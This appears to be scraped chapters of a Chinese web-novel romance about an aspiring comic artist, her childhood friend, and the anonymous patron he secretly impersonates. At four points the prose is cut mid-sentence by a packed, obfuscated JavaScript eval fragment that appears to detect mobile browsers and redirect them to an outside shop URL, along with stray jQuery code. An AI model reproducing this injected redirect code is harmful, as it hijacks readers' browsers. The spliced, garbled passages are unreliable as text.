赵晓棠换好鞋,自来熟地走到客厅:“裴老师好!打扰啦!” 她的目光落在那几道菜上,惊讶道:“老师你这么会做菜啊,好贤惠~” 不知是不是林朝晞的错觉,裴弈眉间似乎紧了一瞬。 “一般。”他的唇角勾起一个完美的弧度,但那笑意丝毫没有抵达他漆黑的眼底。 他转身进厨房,再出来时,手里多了卷保鲜膜。 “我不知道家里会来客人。”他慢条斯理地撕开保鲜膜,仔细覆上那碟糖醋排骨,抬眸,目光先是平淡地掠过赵晓棠,然后稳稳落在林朝晞脸上,深邃的眼眸里辨不出情绪,唯独嘴角的弧度加深了些: “朝晞也真是的,怎么不提前说一声?” 林朝晞后背倏地窜上一股凉意。 朝晞!裴弈从来不在同龄人面前这样叫她!他这是不爽了。 她心虚地抬眼,撞进他幽深的眸子里,那里面像静默的寒潭,水面却浮着一层看似温和的笑,看得人心里发毛。 “啊、是,是顺路经过,想来看看,哈哈哈……”林朝晞的笑容僵在两颊,“事发突然嘛,事发突然。” “这样,”他垂睫,把剩下两道菜一一封好,白衬衫袖子挽着,微笑的侧脸透着几分温顺清冷,“我做的菜见不得客人,你去点外卖。” “哦、哦,好,”林朝晞一把拉过愣住的赵晓棠到沙发上坐下,“来,我们点外卖。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093792|195563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 林朝晞掏出手机打开外卖APP,递过去给赵晓棠,想问她要吃什么,结果见她的视线依旧追随着厨房的方向。 “裴老师,原来私底下是这样的啊……”她感叹道,还有些懵,像没反应过来,“好新鲜。” 林朝晞心底闪过一丝模糊的排斥感。 她还没来得及捕捉那一闪而过的情绪,赵晓棠就捉住了她的手腕,兴奋道: “他居然说他做的菜见不得人,好像温柔贤惠的家庭主夫!就是那种,会担心待客不周的人夫!你懂我意思吧!” 林朝晞下意识蹙了蹙眉,撇撇嘴:“还好吧。” “哪里是还好啊!好反差哦,跟课堂上学术严谨的形象完全不同!” 赵晓棠话里隐隐的兴奋,让林朝晞心底那点微弱的情绪又折返了回来。 原来是这样。 平时只有她见得到裴弈的另一面,现在突然被晓棠也看见了,让她有一种自己的关系和他没那么特殊的感觉。 是这种感觉,让她有一点点不高兴了。 “嗨呀,今天真是来对了。”赵晓棠恋恋不舍地收回目光,接过她的手机。 林朝晞看着她点菜,咬紧了下唇。 她真小气啊,明明晓棠和裴弈都是她的朋友,她居然这么计较。 外卖很快送到。是三人份的家常菜。 裴弈已经在餐桌上摆起了餐具。 林朝晞走过去,帮着他盛饭。他微低头,垂着眼睑,硬是没跟她对视,也不说话。 赵晓棠神经粗,一点没感觉到有什么不对,饭桌上,叽叽喳喳地聊学校的事。 裴弈全程是礼貌地笑,偶尔应和几句,就是不看林朝晞。 “你煮的汤,真好喝啊。”林朝晞主动找话题跟他搭话,眉眼间挂着笑容,颇有几分讨好的意味。 他不咸不淡扫她一眼,端起碗喝了口:“好喝你就少喝点。” “……啊?” “哈哈哈哈!”赵晓棠突然发出一声爽朗的笑,“你们感情还真好。” 林朝晞:“从哪里看出来?!” 裴弈这分明是不给她面子! 一顿饭就这么平和地结束,饭后,赵晓棠没呆多久,就心满意足地走了。 门刚关上,裴弈已经把桌上的外卖盒收拾干净,转身进了厨房。 林朝晞跟过去,见他把冰箱里的糖醋排骨拿出来,放在微波炉里加热。 “你……”林朝晞犹豫着开口,“刚才为什么要把排骨收起来啊?” 裴弈没回头,微波炉的光映在他侧脸,语气淡得没起伏:“我做的饭,没打算给外人吃。” 这句话里藏着的明显特殊感,让林朝晞的心跳漏了一拍。刚才因为赵晓棠的话泛起的那点别扭劲,也跟着消散了大半。 她看着他把热好的排骨端出来,放在她面前,递了双筷子:“吃吧。早上说想吃的。” 林朝晞捏着筷子,心里乱糟糟的。 他不是不喜欢做饭吗?不是说“我又不是你妈”吗?怎么会特意给她做排骨,还藏起来不让别人吃? 她咬着排骨,小声问:“你是不是……不高兴我带晓棠回来?” 裴弈靠在门框上,抱臂看着她,眼神沉沉的:“你带人回家,问过我意见吗?” 15. 这是要惩罚她呀 她立马心虚地低头,细声说:“没有。” 裴弈没接话。林朝晞也不敢抬眼,只默默地吃着排骨,脸快埋到碗里去。 “叮”的一声,微波炉停止转动。 裴弈从里面拿出另一盘菜,端放到她面前,转而又将第三道菜放进去加热。 “我吃不了那么多。”她连忙出言阻止。虽然刚刚那顿饭她吃得不是滋味,但喝了汤,已经六七分饱了。 裴弈合上微波炉,拧下复热的按钮,随即走到餐桌旁,抽了张纸巾,慢条斯理地擦拭自己沾了油的指尖。 他沉默地把手擦干净,视线居高临下地落在她脸上,眼底没有笑:“我费劲做的,你得吃。” 林朝晞莫名挺直了脊背,匆匆点头。 她服从地接着把菜夹进碗里,不敢忤逆。吃饭过程中不时交口称赞道:“好吃好吃!裴大厨!” 裴弈站在边上盯了会儿,把最后一盘菜端出来,顺便给自己拿了碗筷,在她对面落座。 菜碟被放在餐桌上。 居然是一碟鸭肉。 她想起那天他做失败的鸭子,愣了愣。 他碗里只添了少许饭,夹了一块鸭肉到她碗里:“试试。” 林朝晞不知道自己的眉头是什么时候皱起来的,但她记得那天令人作呕的、鸭子的骚腥味。 我靠,这是要惩罚她呀。 她无意识地咽了咽口水,扯出一个难看的笑:“嘿,不用试,肯定好吃。” 裴弈面无表情地冲她扬下巴,一双眸牢牢攫住她,黑得发沉。 他没有答话,就是不能拒绝的意思。 林朝晞的笑容慢慢隐去,舔了舔唇,夹起那块鸭肉凑到嘴边,最后沉重地看了一眼裴弈,心想,赵晓棠,你欠我一顿饭。 她屏住呼吸,英勇地把肉放进嘴里,不敢嚼,只略略含着。 这么大一块,也不能直接吞进去。 她犹豫了一下,还是下了口,咬动那块肉—— 沾满汁水的鸭肉被她咬开,微酸的柠檬味混合着劲道的肉香。 “嗯?!”她难以置信地咬了又咬,吞下去,不小心把心里话说了出来,“居然还挺好吃?!” 裴弈捏着筷子的手停滞在半空中,危险地眯了眯眸子:“什么叫居然?” 林朝晞悄然吸了口气,放下筷子,双手合十,近乎虔诚地、缓缓地点头,语气浮夸: “我是说,竟然!这么好吃!” “哼。”他冷冷轻哼一声,夹了一块鸭肉放进自己碗里。 “嘻嘻。天才就是不一样呀,做饭也是信手拈来!”林朝晞讨好地冲他笑,全然忘了前不久,她还在这个桌子上嘲笑过裴弈的厨艺。 “一码归一码,菜还是要吃完。”他眼也不抬,淡淡道。随即尝了尝鸭肉,咀嚼得很斯文。 讨巧不成,反被戳穿。 林朝晞瞬间收了笑,怨恼地端起那碟鸭肉,往碗里扒了许多,嘴上嘀咕着:“小气鬼!” 不就是把他拒绝过的女生带回家吗?用得着那么不高兴! 她往嘴里扒饭菜,赌气似的用力嚼动。 糖醋排骨酸甜的味道在嘴里化开,征服着她的味蕾,让她那点小怨气瞬间消散。 这些菜全是她平日爱吃的。说起来,他出国那么久,居然还记得这么清楚。 她抬眉偷瞄对面的人。 自己吃饭是狼吞虎咽,筷子扒拉得飞快,但裴弈不一样。 他垂着长而密的眼睫,夹菜的动作轻而稳,每一口都嚼得仔细,连咀嚼的幅度都很小,安静而专注。 她忽然发现,自己其实不知道裴弈喜欢吃什么。他好像对什么都不挑,但也都浅尝辄止,像他对大多数人和事的态度一样,保持着恰到好处的距离。 林朝晞陷入沉思,回过神来时,才发现自己盯着他看了好一会儿。 “干嘛?”他依旧低着眼帘,却精准地知晓她在看他。 “没什么。”她揣着新生的困惑,继续吃饭。嘴里嚼着饭菜,眼神却止不住地飘忽。 飘着飘着,又飘到了裴弈身上。 她看着眼前这张熟悉的面孔,后知后觉地发现,自己最近好像格外关注他。 他们打小黏在一起,他就像空气一样,一直都在。她也习惯了他在身边。 正因为这份陪伴太理所当然,她才从没像现在这样,认真留意过他的一切—— 他的情史,他的长相,他对食物的喜好。 人总是这样,对长久存在于身边、习以为常的人和事,最容易视而不见,当作理所当然的背景。 如果现在突然问他有没有谈过恋爱,喜欢吃什么,会不会很奇怪? 林朝晞收回视线,暗自思索着。 “不想吃了吗?”他的目光落在她停顿的手上。 “啊,不是。”她笑一下,端起碗吃了一大口,肯定道,“好吃!” 桌上的气氛软下来。 他将一盘菜拉过去,说:“吃不下就别吃了。” “我没有吃不下,我还没吃饱。”她放下碗,把碟菜拉回来。 他看着,顿了顿,补了句:“没让你真的吃完。” 她嘿笑一声:“我知道。” 她怎么会不知道呢,他虽然爱逗弄她,嘴上不饶人,但从来不会真的逼她做不喜欢的事。 饭菜最终没有吃完。晚饭以裴弈一句“明天想吃什么”和平结束。 林朝晞回了房间,后台弹出一条消息,是漫画网站发来的私信,上面写着: 【您的作品成功进入本月月度打赏排行榜!明日开始放榜!请查收您的顺位。如有异议,可联系编辑。】 她连忙点开那条链接,排行榜排名跃入眼中,第一位是她的作品! 后面跟着的总金额是:75000。 第二名跟她只相差1000。 “这么多!”她退出页面,点开后台的收益明细,才发现日追加打赏了4万。 她赶紧坐下,登录□□,急切地给日发送消息:【我才看到!太破费了吧!好惶恐!】 日没回消息。她点开画家后台,未读消息多达99+。 点赞她作品的消息占了大半,剩下的是一些评论: 【画得不咋样,就是有钱而已】 【神如经,打赏榜本来就是看钱,有什么好喷的?】 【看完了,画得一般,远远比不上我的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093793|195563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玉琴女神】 【这位叫日的大佬,能不能看看我女神?我女神画得不比这位新人差】 【第一名就这?我女神差哪了?】 【差哪了?差1000,但凡你们这些白嫖党给玉琴多刷点呢?现在争榜失败了就来唧唧歪歪!】 【就是!昨晚集资打榜的时候干啥去了???笑死,不会连1000都拿不出来吧?】 【感觉设定还不错~挺新颖的~日希老师加油~】 【我滴妈呀,这个日希,赞赏榜统共就一个人!人家一个金主顶我们玉家军几个群!】 【壕无人性壕无人性啊!】 【我嘞个豆,这位金主也叫日,该不会是作者本人刷的吧?】 【楼上眼瞎啊,日在美国,日希在临湖】 【你才眼瞎,你不知道可以挂xx改ip?】 【画风是我喜欢的,收藏了!顺便催更!】 【日希老师,女主会有感情线吗?求剧透!】 … 林朝晞把页面拉到底,看完了所有的评论和消息,心里五味杂陈。 既有些对差评的本能沮丧,又有点担忧和不配得感,但更多的,是一种压不住的惊喜。 有人真的在看她的故事! 不止在看,他们还在争论女主的感情线,在分析设定,在为她的排名打抱不平或冷嘲热讽…… 这些鲜活的、带着情绪的文字,比任何冰冷的点击量数据都更真实地告诉她: 她的作品被看见了! 那些“画得一般”的批评,在此刻像褪去了尖锐的刺,变成了背景音。 她反复点开那条说“设定新颖”和催更的评论,嘴角不由自主地越翘越高。 一种饱胀的成就感,混合着对日难以言喻的感激,让她坐立难安。 她急需分享,急需把这份被人看见的激动,传递给那个最早看见她、并且一路用真金白银将她托举到被看见位置的人。 几乎没怎么犹豫,她退出后台,点开与日的Q/Q聊天框,指尖悬在语音通话的图标上,心跳快得像在敲鼓。 打电话是不是太过了? 这个念头一闪而过,但立刻被翻涌的情绪淹没。 他现在应该在线吧?在线的图标亮着。 不管了! 她深吸一口气,按下了通话邀请。 隔壁房间。 裴弈正看着电脑屏幕上论坛里那些攻击林朝晞画技的言论,眉心微蹙,思考着如何引导风向。 突然,Q/Q提示音尖锐地响起,一个窗口弹出—— 【林朝晞邀请您进行语音通话】 他瞳孔骤然一缩,身体比大脑反应更快,几乎是瞬间伸手,飞快点下拒绝键,动作干脆得没有一丝犹豫。 心脏重重撞了两下,他盯着屏幕上“已拒绝”的提示,呼吸微乱。但也只是一瞬,他就冷静下来,盯着屏幕复盘: 他从没在日的号里发过语音,没暴露过声线……只是,她突然打电话,还是超出了他的预料。 手机震动,她的消息紧跟着追来:【大佬!现在有话想和你说!!可以打电话吗!?不方便也没事!(小猫翻滚.gif)】 16. 你在干嘛呀? 林朝晞趴在床上,双腿屈膝晃着脚丫,手机举在眼前离鼻尖只差几厘米,盯着日的头像。 他刚刚挂自己电话挂得那么急,应该是不方便接吧? 等待回复的过程中,她忍不住在床上翻来滚去。 手机震动,她停下来查看,指尖飞快拨开粘在脸颊的碎发,眼睛瞪得圆圆的,急切地凑近屏幕,生怕错过他的回复。 日:【你有很重要的事?】 林朝晞:【嗯呐!(小猫点头.gif)】 日:【。】 日:【就非得打电话不可?】 他是觉得和不熟的异性打电话有点……不合适吗? 林朝晞隔着屏幕感受到他的勉强,撇了撇嘴,回道:【也不是啦,你不方便就算啦(小猫沮丧.gif)】 “唉……”她回完消息,轻轻叹了口气。 原只想着迫不及待地分享这份喜悦,却忘了考虑他们之间的关系。 日再怎么支持她,他们也只是陌生人,打电话向自己的读者索取情绪价值,是有点没分寸了。 对话框上方闪现了一下【对方正在输入中…】,又重归静默。 大佬,也感到为难吧。她不应该发个沮丧的表情包的,简直像在给他压力。 林朝晞捧着手机翻了个身,趴在床上,手肘支起撑着下巴,睫毛垂落的弧度耷拉着,像被雨打湿的小扇子,连嘴角都不自觉地往下撇,透着股明显的丧气。 日:【等我一下。】 她瞥见“等我一下”四个字,黯淡的眸光忽然亮起来,唇边立马绽开一个笑容,连带着眼角都弯成了月牙,自言自语道:“咦?他这是答应了么?” 林朝晞:【是可以打电话的意思么?】 她又补发了一个小猫害羞的表情包。 屏幕上没再显示正在输入中。 林朝晞就这么对着手机愣愣看了几分钟。 直到手肘开始发疼,她才换了个姿势,手臂发麻发酸,她嗷嗷地叫了几声。 “怎么这么久呀……”她小声嘟囔,把脸埋进枕头里,双脚无意识地踢蹬了两下,心里那股躁动的、急切想抒发的心情就要破土而出。 她没耐心地起了身,把手机揣裤兜里,打算到厨房拿瓶冷饮喝,降降燥。途径裴弈的房间,门紧紧闭着。 去骚扰他一下好了。 她揣着一股子火,一把拧开了他的房门——毫不客气、完全不打招呼地。 门打开的一瞬间,她仿佛瞥见裴弈猛地关掉了什么窗口。 她望向他,只见他动作松散,悠闲地端起杯子,凑到唇边抿了口。完全不像在慌张掩饰着什么的样子,仿佛刚刚只是她的错觉。 “唔?”她困惑地哼唧一声,走进房间,盯着他空着的电脑屏幕。 他的电脑开着一个页面,但最小化了,不知道是什么,右下角只挂着一个Q/Q。 “你进我房间是不是该敲一下门。”裴弈缓缓将杯子放于书桌上,悠悠地转过来,神色如常。 “这有什么的,我俩还分你我吗?”她大大咧咧地随口应道,目光扫过他的书桌,好奇地,“你在干嘛呀?” 他靠在椅背里,指尖在扶手上敲了敲,不以为意地挑了挑眉:“在看猫片。” “……哈?!”林朝晞迟了半拍才惊叫一声,整个人肉眼可见地不自在起来,连连后退几步,躲在门边,大声斥道:“你、你变态!” 裴弈唇角轻勾,眼底几分揶揄,淡定自若地说:“哪里变态?你不看么?” 林朝晞从来没被异性这样调戏过,脸涨得通红,连脊背上都发着热,张着嘴半天,支支吾吾说不出来话:“你你你……” 他喉间溢出一声极轻的哼笑,转了下椅子,重新面对电脑,手搭上鼠标:“知道了就出去。” 林朝晞慌不择路地带上门,在门外憋了半天,嚷嚷道:“我要告诉妈妈!” 她语气里的窘迫实在是生动,害裴弈忍不住笑了一下。他点开刚才匆匆关掉的窗口,那是一个变声器调试页面。 她非要和“他”打电话,他只好通过科技改变一下音色。好掩饰身份。 他迅速地在电脑上操作着。在戴上耳机之前,犹豫地看了眼门口,还是起身把门反锁了。 林朝晞回到自己房间,镜子里的自己双颊泛红,一双漂亮的眼睛正因为惊吓而睁圆了。 裴弈居然会说荤话!简直难以置信! 她背靠着门站了会儿,脸上热度依旧不减,脑海里不停复现着裴弈刚才说的话。 猫片不就是色情片嘛。裴弈居然会看?! 虽然是个男的可能都会看,但是,她还是很难将高冷禁欲的裴弈和色情片联系到一起。 她下意识咽了咽口水,舔了下嘴唇。 他他他,他看完以后也会那那那那、那个吗?! “啊——”她骤然叫了一声,短促又尖锐地。仿佛这样能打断脑子里的想象。 “不可以不可以!”她抬手,用指尖戳紧了太阳穴两端,紧紧闭上眼,嘴里默念着:“不要想了不要想了!” 裴弈于她,就像家人一样,幻想他□□的画面实在是太奇怪了! 她深深呼吸,心跳缓缓平复下来,随即走进洗手间,用冷水洗了洗脸,试图降低脸颊的温度。 她从洗手池里直起身,拿过毛巾仔细擦脸。 镜子里的她,卷曲的额发被冷水打湿,一缕缕贴在光洁的额头上,水珠顺着绯红的脸颊滚落。 那张平日里总是元气满满的脸,此刻红晕从脸颊一直漫到耳尖,像熟透的蜜桃,连瞳仁都因羞窘而显得湿漉漉的,格外明亮。 都怪裴弈!居然对她说那种话。她可是他的家人!好友!怎么能对两小无猜的青梅说这种色色的话呢? 简直玷污了他们纯洁的关系。 干燥的毛巾被她捏在手里。镜子里的自己双眸湿润的黑亮,眼底几分无措和慌张。 她收紧了手指,毛巾被她压出褶皱。 话说,被男生调戏还是第一次。居然是这种感觉,心跳好快。 她困惑地低下眼,咬紧了下唇。 只是,调戏她的人,怎么会是裴弈呢……? 口袋里的手机震动起来,惊动了她的沉思。 她掏出来,屏幕上显示的【日邀请你进行语音通话】几个字,莫名地震动了她的心。 方才漫画排行榜的事情早就被她忘到九霄云外。 她现在不仅没了找人诉说喜悦的心情,甚至有点恐慌和异性社交。 对呀,大佬是男人,裴弈也是男人,她之前和他们相处的时候,怎么一点都不觉得有什么需 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093794|195563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要介意的呢? “哎呀,怎么办啊?”她急得跺了跺脚,浴室里逼仄的空气闷得她背上越发热。 手机不停地振动着,仿佛昭示着对面的不耐。 她指尖悬在【接受】上好几秒,终于下定决心按了下去:“喂。” “喂。”一道清冷的声线越过听筒传出来。 林朝晞听愣了。 他的声音,居然是这样的。比她想象中还好听很多。 “喂喂,”她刚平复的心跳又躁动起来,有些语无伦次,“能听到吗?” “嗯。”他就说了一个字。但那磁性的尾音还是把林朝晞一颗心搅得稀乱。 她不由得用力闭了闭眼,好像只有能消除掉一些紧张似的。 “呃呃,就是……”她的声音不受控制地软下去,轻轻地从唇间逸出。和平时粗粗咧咧的形象大相径庭。 电话那端静了会儿,没等到她的下一句话,便说:“你紧张什么?不是你说要打电话的?” 男人声音清越冷淡,没什么起伏,却莫名勾动得林朝晞心头一紧。 她感觉自己耳朵更热了些,抬眸一看,果然是更红了。 “嗯,但是,”她顿了顿,吸了口气,“我是第一次嘛,和男生打电话…” “呵。”他极短促地呵笑了声。那语气冷冷的。 “…咦?为什么要冷笑啊?”她困惑道。 “……没什么,美国很冷。” “哦……话说,你那边现在几点啊?” “你打电话来不是为了问我几点吧。发生什么了?说说看。” 他语气平淡,她却听出一丝温柔的关心。 “嘿嘿,没什么,就想谢谢你,”她低下头,指尖不自觉地在手机边缘抚摩,眉眼间是溢满的喜色,“那个,漫画的评论区,虽然也有一些难听的话,但是也有很多人看到了我的作品,我刚刚特别激动来着!所以忍不住想和你分享。” “嗯,你开心就好了。” 林朝晞闻言,笑意越发加深,含着几分羞怯的欣喜。 “那些差评,不用理。你的漫画最突出的是情绪真,这是别人学不来的。” 林朝晞缓缓点头,坚定地:“嗯!” 无声在两人间蔓延。 她能清晰听见听筒里传来他平稳的呼吸声,像拂过耳畔的风,勾得她心跳又快了半拍。 她想说的话说完了,一时不知道说什么,但又不想就这么挂掉。指尖轻点在手机壳上,催促着自己找个什么话题继续聊。 然而,她越急,大脑就越是一片空白。 没怎么和男生交流过,要说什么好呢?她和裴弈都是怎么相处的啊?为什么和裴弈就不用刻意找话题呢? “啊对了!你上次说,我的节奏像陡峭的过山车?”她像抓住一根救命稻草,仓促往下延展,“你提到什么来着,长临乐园?” “怎么,大佬你也是临湖市人吗?”她天真地问。 听筒倏地安静下来。连偶尔能听见的呼吸声都消失了。 长临乐园是临湖市本地最有名、人流量最大的乐园。虽然大,但也不算本地标志性建筑物,临湖市更不是旅游城市,一般只有本地人会去。 既然日知道这个乐园,那他大概率是本地人。 “嘿嘿,我们是老乡吗?” 17. 为什么不敢看我? 电话那端静了片刻,他轻笑了声:“你问这个,是想跟我见面么?” “诶?!”她耳朵一热,惊得把手机拿远了些,“不、不是啊!” “不是不是!”她把脑袋晃得像拨浪鼓,头顶的丸子发团被甩来甩去。 “嗯~?”他狐疑地把“嗯”字的音节拉得有些长。 “真的没有啦!”林朝晞连忙解释道。 她根本没往这个方向想,为什么他会这么问啊! “知道。” “?” “逗你玩的。” “……” 林朝晞几乎是下意识就皱紧了眉头,拿开手机来看,屏幕上显示【日,语音通话中】。 确实是大佬没错啊,为什么说话的调调有点像裴弈…… “你还有什么想说的,没有我挂了,有点事。” “啊,好,你去忙吧。” 她拖长的语气像有些意犹未尽,但和她通话的人却像听不懂似的,“嗯”了一声,直接挂了电话。 十分干脆利落。 “嘟”的一声,屏幕上弹出【通话已结束】。通话时长六分二十秒。 林朝晞站在浴室里,端着手机看了会儿,才慢吞吞地躺回到床上。她盯着那个通话时长,目光有些放空。 他话好少啊。 全程都是她在找话题。他好像对她没有好奇心,也不想和她聊她的漫画。 林朝晞点进日的头像,想看他的Q/Q空间,结果显示【对方尚未开通Q/Q空间】。 资料卡上,他的Q/Q等级只有三级。甚至连头像都是初始的。 简直就像,为了加她才注册的一样。 “好奇怪哦……”她喃喃道。 如果是她能和很喜欢的漫画家打电话的话,一定会很激动地追着对方问很多问题的。 比如,先激动地表达一番喜欢,说这是旷世巨作!然后和对方探讨剧情和人设,伏笔的设置。 甚至对对方的现实经历有所好奇。 可是日和自己打电话不仅很淡定,还什么都没问。 难道他并没有喜欢自己的漫画到那种程度吗? 可如果没那么喜欢的话,又为什么要刷那么多钱呢?为什么要一个分镜、一个分镜地指导她? 林朝晞满腹疑问。 她想了想,还是给他发去消息:【大佬,可以问你一个问题吗?】 日:【什么?】 林朝晞:【你为什么要帮我那么多呢?】 日没有马上回复,也没有显示正在输入中。 林朝晞接着发:【嘿嘿没有恶意,就是觉得,明明平台里有那么多优秀的作品】 【评论区提到的玉琴老师我也非常喜欢,她的《寻香行》简直就是神作来的!】 【画《攻心》的鱿鱼老师也很强!他的……】 林朝晞列举了一堆自己喜欢的大神,并毫不吝啬地夸了一通,然后回归问题中心: 【为什么你只关注了我的作品呢?这些大神你都不看吗?】 日的对话框沉默了很久。 久到林朝晞都已经拿起数位板,开始修改自己的短篇作品了,他才悠悠发来一句话: 【我喜欢养成】 林朝晞看着那几个字发呆,迟迟才拿起手机,回道:【好吧^_^那谢谢你!】 【谢谢你养我,我会努力的(奋斗的小猫.gif)】 日没有再回复。 林朝晞在数位板上往主角的发丝里填色,画了会儿,她像是想到什么,又给他发去一条消息: 【对了,你的声音好好听啊~给我迷晕了(小猫羞涩地跑走.gif)】 其实也没有那么夸张。只是对方毕竟是自己的大金主,该拍的马屁还是要拍的。 嘴甜一点,不会出错。 这次,对方几乎是秒回。 日:【是么。】 简短两个字,林朝晞却仿佛能感觉到屏幕对面那人微微扬起的嘴角。 紧接着,又一条消息弹了出来。 日:【跟你发小比,如何?】 林朝晞皱了皱眉。 干嘛要跟裴弈比?这人怎么老提起他? 她手指悬在屏幕上,眼前莫名闪过裴弈那张冷淡的脸,和他偶尔掠过她耳畔的低沉嗓音。 ……好像,是挺好听的。 她被自己这念头吓了一跳,赶紧摇头甩开,快速打字:【他就一般人!当然是你好听啦!】 发送后,她盯着那句话,心里莫名有点发虚。 日:【哦】 他只回复一个字,后面没再跟那个冷冰冰的句号。 林朝晞看着那个光秃秃的“哦”字,竟品出了一丝微妙感。 他好喜欢“哦”,到底是满意她的回答,还是不满意? 她低头,继续画画。 这幅短篇作品今晚就能画好,不管获不获奖,反正她已经尽力了。 画好后,她犹豫着要不要发给日,让他帮自己检查一下,有没有能尽善尽美的地方。 “嗯……”她看着那短篇漫画的内容,决定还是不发了。感觉怪害羞的。 - 第二天一早,林朝晞是被自己过快的心跳吵醒的。 意识回笼的瞬间,浑身泛起一阵诡异的酥麻。 像有微弱的电流,从脊椎末端一路窜到后颈,让她在被子下不自觉蜷缩了一下脚趾。 然后,一个带着旖旎气息的梦境猝不及防地撞进她脑海。 梦里,她又一次拧开了裴弈的房门。 房间昏暗,没有光。只有从背后袭来的拥抱和紧贴在她耳边的、滚烫的唇。 鼻畔是一股清冽的体香,独属于裴弈的味道。 他温热的气息擦过她的耳廓,箍紧她的力道不容拒绝。她很震惊地想要推开他,说他们是家人不可以这样。 “你不是想看么?”他压低了嗓音,语气带着几分蛊惑和暧昧,“要不要看?” 这句话像一道惊雷,劈开了她混沌的思绪。 林朝晞猛地睁开眼睛,瞳仁在昏暗的室内急剧收缩,直直瞪着熟悉的天花板。耳边是自己失控的心跳,一下下砸着鼓膜。 脸颊、耳朵都发着热,不用看也知道一定红得不像话。 她……居然梦到了裴弈。 还是那种梦! “呜……”一声压抑的哀鸣从喉间逸出,她一把拉起被子,严严实实地盖过头顶,将自己赤/裸的羞意裹起来。 黑暗里,她有力又混乱的心跳声越发清晰。 被子底下,她紧紧闭着眼睛,睫毛颤得厉害。 梦境的碎片还在不受控制地闪现:他修长的手指穿过她的发丝,温热的掌心探入她的衣服,还有那声低沉模糊的…… “林朝晞。” “!!!” 现实中的声音,隔着门板和被子,有些模糊地传了进来。 是裴弈。他在门外叫她。 林朝晞的身体骤然僵硬,连呼吸都屏住了。那声音将梦境与现实恐怖地连接在了一起。 “再不起来,早餐要冷了。” 他的声音平静如常。 她听在耳里,只觉得心底那阵尴尬和羞耻感越发膨胀。每一个音节,都仿佛带着梦里那种灼热的温度,让她心惊肉跳。 她紧紧咬着下唇,在令人窒息的混乱中,清醒地意识到: 完了。 她再也无法用纯洁的眼神去看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093795|195563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 待裴弈了。 她在被子里赖了好一会儿,直到听见外面传来门锁轻响,才从床上爬起来洗漱。 他应该出门了。 她打开房门,小心翼翼地望向外面,餐厅里没有人,只有桌子上放着买好的早餐。 “醒了?” 裴弈的声音突然在耳边响起,林朝晞吓得浑身一震,忍不住惊叫了一声。 她猛地回头,就见裴弈站在身后,眉峰微挑,被她夸张的反应弄得有点古怪:“你鬼鬼祟祟的……藏什么呢?” 林朝晞飞快地扫他一眼,立马低下头,身体往门边缩了缩,刻意拉开距离,声音都有点发虚:“你走路没声音啊!吓到我了。” 他静了静,目光在她泛红的耳尖和攥紧的指尖上打了个转,语气带着点刻意的调侃:“做亏心事了?这么心虚。” 林朝晞心里咯噔一下。 他怎么这么敏锐?! 脸瞬间更热了,慌忙反驳:“我没有!你别瞎说!” 他没说话,就那么站在原地,目光黏在她脸上,狐疑地来回打量。 那视线太直接,像带着温度似的,烫得她浑身不自在。 林朝晞感觉到自己的心跳越来越快,正慌得不知道该怎么办,裴弈却忽然收回目光,转身往餐桌走,丢下一句: “过来吃早餐。” 她松了口气,可看到他在餐桌边坐下,一颗心又提了起来,连忙摆手:“我不吃了,我昨天买了面包!” 裴弈正垂头拆酥饼的包装纸,闻言动作一顿,抬眸看她,微眯起眼,声音沉了沉: “是谁缠着我说想吃喜乐铺的酥饼,让我今早特意去买的?” 林朝晞心下一紧,这才注意到桌上的早餐用的是喜乐铺的包装纸。 是她昨天跟他说想吃的。这一吓,给忘了。 她张了张嘴,斟酌道:“你放着,我待会儿带去学校吃。” 他眉头以一种轻微的幅度向下压了压,视线落在她身上片刻,意有所指地来回扫了一下两人之间的距离:“那粥呢?” 林朝晞的目光掠过餐桌,她说要喝的粥他已经煮好,盛放在碗里了。 “啊?……”她遗憾地啊了一声,好像在埋怨他做得不称她心意似的。 他就那么安静地盯着她,不说话,压力无声蔓延。 